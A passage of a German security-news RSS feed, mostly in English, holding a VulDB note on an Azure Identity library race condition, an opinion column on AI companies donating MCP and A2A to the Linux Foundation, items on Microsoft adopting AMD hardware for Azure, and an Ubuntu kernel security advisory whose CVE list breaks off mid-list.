<link>https://tsecurity.de/de/3682472/sicherheitsluecken/cve-2024-35255-microsoft-azure-identity-library-race-condition-nessus-id-216962/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682472/sicherheitsluecken/cve-2024-35255-microsoft-azure-identity-library-race-condition-nessus-id-216962/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/microsoft:azure_identity_library">Microsoft Azure Identity Library and Microsoft Authentication Library</a>. This vulnerability affects unknown code. Executing a manipulation can lead to race condition.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2024-35255">CVE-2024-35255</a>. The attack requires local access. There is no available exploit.

A patch should be applied to remediate this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft expands Azure AI and HPC infrastructure with AMD]]></title>
<description><![CDATA[The post Microsoft expands Azure AI and HPC infrastructure with AMD appeared first on Source.]]></description>
<link>https://tsecurity.de/de/3681955/ai-nachrichten/microsoft-expands-azure-ai-and-hpc-infrastructure-with-amd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681955/ai-nachrichten/microsoft-expands-azure-ai-and-hpc-infrastructure-with-amd/</guid>
<pubDate>Mon, 20 Jul 2026 20:34:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The post <a href="https://blogs.microsoft.com/blog/2026/07/20/microsoft-expands-azure-ai-and-hpc-infrastructure-with-amd/">Microsoft expands Azure AI and HPC infrastructure with AMD</a> appeared first on <a href="https://news.microsoft.com/source">Source</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</guid>
<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Is a Platform Property, Not a Pipeline Step]]></title>
<description><![CDATA[A few weeks ago, I disabled key authentication on an Azure storage account we used for Terraform state management. It was one of the key security recommendations in Microsoft Defender for Cloud. It made sense to use RBAC-only permissions, enforce…
Read more →
The post Security Is a Platform Prope...]]></description>
<link>https://tsecurity.de/de/3681670/it-security-nachrichten/security-is-a-platform-property-not-a-pipeline-step/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681670/it-security-nachrichten/security-is-a-platform-property-not-a-pipeline-step/</guid>
<pubDate>Mon, 20 Jul 2026 18:59:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A few weeks ago, I disabled key authentication on an Azure storage account we used for Terraform state management. It was one of the key security recommendations in Microsoft Defender for Cloud. It made sense to use RBAC-only permissions, enforce…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/security-is-a-platform-property-not-a-pipeline-step/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/security-is-a-platform-property-not-a-pipeline-step/">Security Is a Platform Property, Not a Pipeline Step</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia's grip on AI chips weakens as Microsoft turns to AMD and Anthropic may follow]]></title>
<description><![CDATA[Microsoft is expanding Azure's AI infrastructure with AMD's new Helios platform, which is set to challenge Nvidia's GPU systems in the second half of 2026. A public GitHub profile suggests Anthropic is also testing AMD hardware, putting more pressure on Nvidia's pricing power.
The article Nvidia'...]]></description>
<link>https://tsecurity.de/de/3681661/ai-nachrichten/nvidias-grip-on-ai-chips-weakens-as-microsoft-turns-to-amd-and-anthropic-may-follow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681661/ai-nachrichten/nvidias-grip-on-ai-chips-weakens-as-microsoft-turns-to-amd-and-anthropic-may-follow/</guid>
<pubDate>Mon, 20 Jul 2026 18:53:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/amd_logo_wall_blue.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft is expanding Azure's AI infrastructure with AMD's new Helios platform, which is set to challenge Nvidia's GPU systems in the second half of 2026. A public GitHub profile suggests Anthropic is also testing AMD hardware, putting more pressure on Nvidia's pricing power.</p>
<p>The article <a href="https://the-decoder.com/nvidias-grip-on-ai-chips-weakens-as-microsoft-turns-to-amd-and-anthropic-may-follow/">Nvidia's grip on AI chips weakens as Microsoft turns to AMD and Anthropic may follow</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Partnerschaft mit AMD: Microsoft bestückt Azure-Cloud mit Zen 6 und MI455X]]></title>
<description><![CDATA[Die langjährige Partnerschaft zwischen AMD und Microsoft geht weiter. Jetzt wird offiziell verkündet, dass die Cloud-Computing-Plattform Azure künftig mit AMDs Helios Racks bestückt wird. Diese sind mit Prozessoren vom Typ Epyc Venice (Zen 6), GPUs der Serie Instinct MI455X sowie mit Netzwerkchip...]]></description>
<link>https://tsecurity.de/de/3681638/it-nachrichten/partnerschaft-mit-amd-microsoft-bestueckt-azure-cloud-mit-zen-6-und-mi455x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681638/it-nachrichten/partnerschaft-mit-amd-microsoft-bestueckt-azure-cloud-mit-zen-6-und-mi455x/</guid>
<pubDate>Mon, 20 Jul 2026 18:50:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/7/6-81e8394d91914233/article-640x360.19799da8.jpg"><p>Die langjährige Partnerschaft zwischen AMD und Microsoft geht weiter. Jetzt wird offiziell verkündet, dass die Cloud-Computing-Plattform Azure künftig mit AMDs Helios Racks bestückt wird. Diese sind mit Prozessoren vom Typ Epyc Venice (Zen 6), GPUs der Serie Instinct MI455X sowie mit Netzwerkchips der Pensando-Familie versehen.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8569-1: Linux kernel (HWE) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 18:18:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that the Linux kernel did not properly handle shared page
fragments during socket buffer operations, collectively known as Dirty
Frag. A logic flaw existed in the XFRM ESP-in-TCP subsystem and in the
RxRPC networking subsystem when processing paged fragments. A local
attacker could use this to escalate privileges, or possibly escape a
container. (CVE-2026-43284, CVE-2026-43500, CVE-2026-45998, CVE-2026-46000)

It was discovered that a logic flaw existed in the XFRM ESP-in-TCP
subsystem in the Linux kernel when handling socket buffer fragments. This
flaw is known as Fragnesia. A local attacker could use this to escalate
privileges, or possibly escape a container. (CVE-2026-43503,
CVE-2026-46300)

Qualys discovered that a race condition existed in the ptrace subsystem of
the Linux kernel when privileged processes are exiting. An unprivileged
local attacker could use this issue to expose sensitive information.
(CVE-2026-46333)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contain a memory leak when handling AppArmor notifications. A local
attacker could use this to cause resource exhaustion. (CVE-2026-47326)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contain a NULL pointer dereference when handling AppArmor notifications. A
local attacker could use this to cause a kernel oops. (CVE-2026-47327)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained an invalid free when handling AppArmor notifications. A local
attacker could use this to corrupt kernel memory. (CVE-2026-47328)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained insufficient validation of AppArmor notification responses. A
local attacker could use this to allow crafted responses to be processed.
(CVE-2026-47329)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0 used
an uninitialized variable when handling AppArmor notifications. A local
attacker could use this to cause incorrect caching of data.
(CVE-2026-47330)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained an out-of-bounds (OOB) read when handling AppArmor notifications.
A local attacker could use this to cause information disclosure of kernel
memory. (CVE-2026-47332)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained a out-of-bounds (OOB) read when handling AppArmor notifications.
A local attacker could use this to cause kernel memory corruption and,
theoretically, influence processing of AppArmor policies. (CVE-2026-47333)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained incorrect holding of locks when handling AppArmor notifications.
A local attacker could use this to cause a kernel panic or deadlock.
(CVE-2026-47334)

Tristan Madani and Trevor Lawrence have each independently discovered that
Ubuntu Linux kernel 6.8, 6.17 and 7.0 contained a NULL pointer dereference
when handling AppArmor network socket mediation. A local attacker could use
this to cause a kernel oops. (CVE-2026-47337)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Gadget drivers;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - Landlock security;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43494, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43498, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45837, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45990,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45995, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46001, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46008, CVE-2026-46009, CVE-2026-46010,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46013, CVE-2026-46014,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46020, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46025, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46028, CVE-2026-46029, CVE-2026-46030, CVE-2026-46031,
CVE-2026-46032, CVE-2026-46033, CVE-2026-46034, CVE-2026-46035,
CVE-2026-46036, CVE-2026-46037, CVE-2026-46038, CVE-2026-46039,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46042, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46045, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052,
CVE-2026-46053, CVE-2026-46054, CVE-2026-46056, CVE-2026-46057,
CVE-2026-46058, CVE-2026-46059, CVE-2026-46060, CVE-2026-46061,
CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065,
CVE-2026-46066, CVE-2026-46067, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46071, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46074, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077,
CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46081,
CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46085,
CVE-2026-46086, CVE-2026-46087, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46093,
CVE-2026-46094, CVE-2026-46095, CVE-2026-46096, CVE-2026-46097,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46100, CVE-2026-46101,
CVE-2026-46102, CVE-2026-46103, CVE-2026-46104, CVE-2026-46105,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46109,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46118, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46140, CVE-2026-46141,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46147, CVE-2026-46148, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46153,
CVE-2026-46154, CVE-2026-46155, CVE-2026-46156, CVE-2026-46157,
CVE-2026-46158, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46162, CVE-2026-46163, CVE-2026-46164, CVE-2026-46165,
CVE-2026-46166, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46170, CVE-2026-46171, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46175, CVE-2026-46176, CVE-2026-46177,
CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46181,
CVE-2026-46182, CVE-2026-46183, CVE-2026-46184, CVE-2026-46185,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46202, CVE-2026-46203, CVE-2026-46204, CVE-2026-46205,
CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209,
CVE-2026-46210, CVE-2026-46211, CVE-2026-46212, CVE-2026-46213,
CVE-2026-46214, CVE-2026-46215, CVE-2026-46216, CVE-2026-46218,
CVE-2026-46219, CVE-2026-46220, CVE-2026-46221, CVE-2026-46222,
CVE-2026-46223, CVE-2026-46224, CVE-2026-46225, CVE-2026-46226,
CVE-2026-46227, CVE-2026-46228, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46239,
CVE-2026-46240, CVE-2026-46241, CVE-2026-46242, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46276, CVE-2026-46277, CVE-2026-46278, CVE-2026-46279,
CVE-2026-46280, CVE-2026-46281, CVE-2026-46282, CVE-2026-46283,
CVE-2026-46284, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46288, CVE-2026-46289, CVE-2026-46290, CVE-2026-46291,
